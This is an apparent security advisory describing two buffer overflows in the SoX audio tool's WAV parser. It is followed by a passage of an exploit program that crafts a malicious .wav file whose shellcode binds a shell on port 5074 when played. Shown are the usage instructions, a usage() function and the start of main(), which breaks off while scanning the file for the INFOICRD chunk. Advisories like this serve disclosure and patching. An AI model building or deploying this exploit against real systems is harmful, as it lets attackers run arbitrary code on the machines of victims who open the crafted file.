Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands. The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data based on a user-supplied size variable into a buffer without checking to see if the specified amount of data will fit into the buffer.
The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.
Vendors were reportedly notified on July 18, 2004. Impact: A remote user can create a WAV file that, when processed by the target user, will execute arbitrary code on the target system with the privileges of the SoX process. Solution: No vendor solution was available at the time of this entry.
************************************************************************** !!! DO NOT USE THIS SOFTWARE TO BREAK THE LAW !!!
This exploit will create a malevolent .wav file that will execute the shellcode (it's a port_bind() opening the port 5074) Example: $./sox-exploiter laser.wav malevolent.wav 0 When you play the file malevolent.wav the shellcode is executed.
void usage(char *file) { int i; printf("USAGE:\n"); printf("SoX Exploiter by Rosiello Security\n"); printf("%s source.wav vulnerable.wav target\n", file); for (i=0;i < 2;i++) printf("TARGET: %d %s %x\n",i,target[i].OS,target[i].ret); exit(0); }
int main(int argc, char **argv) {
char *ptr,*tmp; int fd,count; long sizefield,sizeloc; int size; char payload[500]; pid_t pid; int opt; if ((argc) != 4) usage(argv[0]); opt=atoi(argv[3]);
memap = fs_io(argv[1],NULL,O_RDWR,&size);
printf("[+] Sox Exploiter by Rosiello Security\n"); printf("[+] Opened %s size : %d\n",argv[1],size);
ptr = memap; count =0; do { ptr++; if ((strncmp("INFOICRD",ptr,8)==0)) break;